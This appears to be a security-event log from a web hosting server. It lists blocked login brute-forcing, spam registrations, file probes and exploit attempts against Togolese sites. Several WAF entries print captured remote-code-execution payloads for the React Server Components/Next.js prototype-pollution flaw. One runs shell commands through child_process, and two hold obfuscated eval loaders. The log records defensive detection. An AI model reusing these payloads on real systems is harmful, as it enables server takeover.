Jun  6 04:51:59 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.255.73.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.142.9
country_id: 3469034
description:
Jun  6 04:53:06 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.142.9 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 130.12.180.90
country_id: 2750405
description:
[2026-06-06 04:55:45 +0000] info [whostmgrd] 130.12.180.90 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.12.180.90
country_id: 2750405
description:
[2026-06-06 04:55:45 +0000] info [whostmgrd] 130.12.180.90 - root "GET /cpsess7493607591/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.236
country_id: 130758
description:
2026-06-06 04:56:22 dovecot_login authenticator failed for H=(localhost) [62.60.130.236]:54067: 535 Incorrect authentication data (set_id=nginx1)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-06 04:56:29 +0000] info [cpaneld] 185.213.83.243 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.236
country_id: 130758
description:
Jun  6 04:56:20 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.236 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 113.190.59.238
country_id: 1562822
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aec365823a92cd7ab7daef2de7615d77518eb63c||Title:tc-check-https://dddscom.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 86.171.134.217
country_id: 2635167
domain: www.sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.www.sia-togo.tg||ServerName:www.sia-togo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aec365823a92cd7ab7daef2de7615d77518eb63c||Title:tc-check-https://dddscom.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.202
country_id: 953987
description:
Jun  6 05:00:16 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.95
country_id: 3057568
description:
Jun  6 05:00:34 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.95 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.4.159
country_id: 1527747
description:
2026-06-06 05:00:42 H=([212.241.4.159]) [212.241.4.159]:25240 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-06 05:01:16 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:41122: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.115.155
country_id: 1269750
description:
Jun  6 05:00:59 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.115.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.3
country_id: 1814991
description:
Jun  6 05:02:13 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-06-06 05:02:15 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:17132: 535 Incorrect authentication data (set_id=sales@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.1.219.9
country_id: 3865483
description:
Jun  6 05:04:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.1.219.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.1.219.9
country_id: 3865483
description:
Jun  6 05:04:55 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.1.219.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.4.65.37
country_id: 1814991
description:
Jun  6 05:06:01 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.4.65.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 40.87.20.23
country_id: 6252001
domain: www.hrmbj.mesyscom.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"reason\":-1,\"x_5760e6b8\":\"resolved\",\"_response\":{\"_prefix\":\"var cqofb=arguments['\\\\x31'];var mw=cqofb;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.4.159
country_id: 1527747
description:
2026-06-06 05:09:11 H=([212.241.4.159]) [212.241.4.159]:25546 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.185.72.28
country_id: 1562822
description:
2026-06-06 05:10:15 H=([0.0.0.0]) [113.185.72.28]:49861 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.145
country_id: 953987
description:
Jun  6 05:12:13 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.145 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.178.56
country_id: 3469034
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-14.209.50.178.56||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 146.190.132.31
country_id: 6252001
description:
Jun  6 05:15:45 ns5 pure-ftpd[2405561]: (?@146.190.132.31) [INFO] New connection from 146.190.132.31


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:05-15.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 146.190.132.31
country_id: 6252001
description:
Jun  6 05:16:06 ns5 pure-ftpd[2405561]: (?@146.190.132.31) [WARNING] Authentication failed for user [scafricaplc]


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Withdraw Your Online Currency Reward eropolik.blogspot.ru Kd||Email:vbrijesh219@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.209
country_id: 1512440
description:
2026-06-06 05:19:25 H=([213.230.92.209]) [213.230.92.209]:56614 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.164.183.114
country_id: 1831722
domain: relanceinfo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:103.164.183.114||TA:103.164.183.114||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.46
country_id: 6252001
description:
205.169.39.46 - - [06/Jun/2026:05:20:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6319208&pdata=http%253A%252F%252Ftxohul.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780723255 HTTP/1.1" 302 0 txohul.mediatopnews.tg "http://txohul.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.46


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.10.254
country_id: 226074
description:
Jun  6 05:22:09 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.10.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.127
country_id: 1512440
description:
2026-06-06 05:22:24 H=([213.230.93.127]) [213.230.93.127]:18787 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.223.2.29
country_id: 1269750
description:
Jun  6 05:24:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.223.2.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.153.121
country_id: 99237
description:
Jun  6 05:25:09 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.153.121 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.124.146
country_id: 1512440
description:
2026-06-06 05:26:33 H=([213.230.124.146]) [213.230.124.146]:55150 F=<John@4452.com> rejected RCPT <contact@emt.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 1.58.233.82
country_id: 1814991
description:
2026-06-06 05:27:39 H=([1.58.233.82]) [1.58.233.82]:63745 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.10.61
country_id: 3469034
description:
Jun  6 05:28:40 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.10.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.233
country_id: 690791
description:
Jun  6 05:27:59 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.233 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.10.61
country_id: 3469034
description:
Jun  6 05:28:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.10.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.183.35.169
country_id: 130758
description:
2026-06-06 05:30:40 H=([94.183.35.169]) [94.183.35.169]:19753 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.183.35.169
country_id: 130758
description:
2026-06-06 05:31:17 H=([94.183.35.169]) [94.183.35.169]:20742 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.171.12.165
country_id: 1269750
description:
Jun  6 05:33:23 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.171.12.165 has been locked due to Imunify RBL


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 191.102.132.8
country_id: 6252001
domain: pnls.tg
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.174
country_id: 690791
description:
Jun  6 05:32:53 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.174 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 40.87.20.23
country_id: 6252001
domain: www.metaart.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var ljymk=[].slice.call(arguments,1)[0];var amlzw=ljymk;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.149
country_id: 3865483
description:
Jun  6 05:35:55 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.19
country_id: 1269750
description:
Jun  6 05:35:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.64.246.8
country_id: 690791
description:
Jun  6 05:36:25 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.64.246.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.131.241.201
country_id: 798544
description:
Jun  6 05:37:32 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.131.241.201 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 18.193.254.194
country_id: 2921044
domain: sp-eau.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Get Your Champion Cash sepoladi.blogspot.ru qU||Email:kezzaali7866@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:05-40.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 18.193.254.194
country_id: 2921044
domain: sp-eau.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.14||T:APACHE||MV:phpinfo.php~||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.193.122.91
country_id: 690791
description:
Jun  6 05:42:34 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.193.122.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.42.132.19
country_id: 1814991
description:
2026-06-06 05:42:40 dovecot_login authenticator failed for H=([111.42.132.19]) [111.42.132.19]:43476: 535 Incorrect authentication data (set_id=info@togosem.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 18.193.254.194
country_id: 2921044
domain: sp-eau.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:doufelg||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.193.122.91
country_id: 690791
description:
2026-06-06 05:42:36 dovecot_login authenticator failed for H=(82.193.122.91.cl.ipnet.ua) [82.193.122.91]:40982: 535 Incorrect authentication data (set_id=no-reply@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.42.132.19
country_id: 1814991
description:
Jun  6 05:42:38 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.42.132.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.5.108.11
country_id: 2186224
description:
Jun  6 05:42:45 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.5.108.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.5.108.11
country_id: 2186224
description:
Jun  6 05:42:54 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.5.108.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.39
country_id: 3175395
description:
Jun  6 05:43:06 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.121.0.254
country_id: 1220409
description:
2026-06-06 05:44:48 H=([185.121.0.254]) [185.121.0.254]:57631 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.216
country_id: 2510769
description:
Jun  6 05:47:37 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.216
country_id: 2510769
description:
Jun  6 05:47:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.142.51
country_id: 3469034
description:
Jun  6 05:47:57 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.142.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-06-06 05:50:14 dovecot_login authenticator failed for H=(YPKWcn5) [141.98.11.11]:61322: 535 Incorrect authentication data (set_id=eld.auba)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.11
country_id: 597427
description:
Jun  6 05:50:12 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.121.0.254
country_id: 1220409
description:
2026-06-06 05:50:50 H=([185.121.0.254]) [185.121.0.254]:63008 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.8
country_id: 3175395
description:
Jun  6 05:51:32 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-06-06 05:51:51 dovecot_login authenticator failed for H=(BB0lnl9tb) [141.98.11.11]:65340: 535 Incorrect authentication data (set_id=eld.auba)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.254.142.133
country_id: 458258
description:
Jun  6 05:52:10 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.254.142.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.11
country_id: 597427
description:
Jun  6 05:51:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.11
country_id: 597427
description:
Jun  6 05:53:05 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-06-06 05:53:07 dovecot_login authenticator failed for H=(INHqmd6) [141.98.11.11]:54406: 535 Incorrect authentication data (set_id=eld.auba)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [06/Jun/2026:05:52:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7366243&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgloria-nyavedzi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780725177 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/gloria-nyavedzi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.11
country_id: 597427
description:
Jun  6 05:54:37 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-06-06 05:54:39 dovecot_login authenticator failed for H=(6DPfMnRjUN) [141.98.11.11]:60707: 535 Incorrect authentication data (set_id=eld.auba)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.164.213
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-55.209.50.164.213||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.105.230.64
country_id: 1220409
description:
2026-06-06 05:55:22 H=([185.105.230.64]) [185.105.230.64]:50212 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.253.98.19
country_id: 2963597
domain: tensai.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:ulduzncs||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.11
country_id: 597427
description:
Jun  6 05:55:18 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-06-06 05:55:20 dovecot_login authenticator failed for H=(INlaD8) [141.98.11.11]:59391: 535 Incorrect authentication data (set_id=eld.auba)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.11
country_id: 597427
description:
Jun  6 05:56:18 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-06-06 05:56:20 dovecot_login authenticator failed for H=(vzEMvbTlZr) [141.98.11.11]:60560: 535 Incorrect authentication data (set_id=eld.auba)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.13
country_id: 953987
description:
Jun  6 05:56:35 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.14.11.25
country_id: 6252001
domain: www.sinalco.snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:bighostingsnbd||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.13
country_id: 953987
description:
Jun  6 05:56:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.11
country_id: 597427
description:
Jun  6 05:56:58 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-06-06 05:57:00 dovecot_login authenticator failed for H=(7H8V7gk68) [141.98.11.11]:51980: 535 Incorrect authentication data (set_id=eld.auba)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.14.11.25
country_id: 6252001
domain: www.sinalco.snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/info.php.bak||User:bighostingsnbd||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.16
country_id: 3175395
description:
Jun  6 05:57:14 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.11
country_id: 597427
description:
Jun  6 05:58:11 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-06-06 05:58:13 dovecot_login authenticator failed for H=(dK3Fxtj) [141.98.11.11]:62516: 535 Incorrect authentication data (set_id=eld.auba)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-06-06 05:58:47 dovecot_login authenticator failed for H=(DjgD9g) [141.98.11.11]:57698: 535 Incorrect authentication data (set_id=eld.auba)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 199.102.104.70
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:199.102.104.70||TA:199.102.104.70||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.11
country_id: 597427
description:
Jun  6 05:59:24 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.11
country_id: 597427
description:
Jun  6 06:00:16 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-06-06 06:00:18 dovecot_login authenticator failed for H=(cMAFf0s) [141.98.11.11]:52848: 535 Incorrect authentication data (set_id=eld.auba)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  6 06:00:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
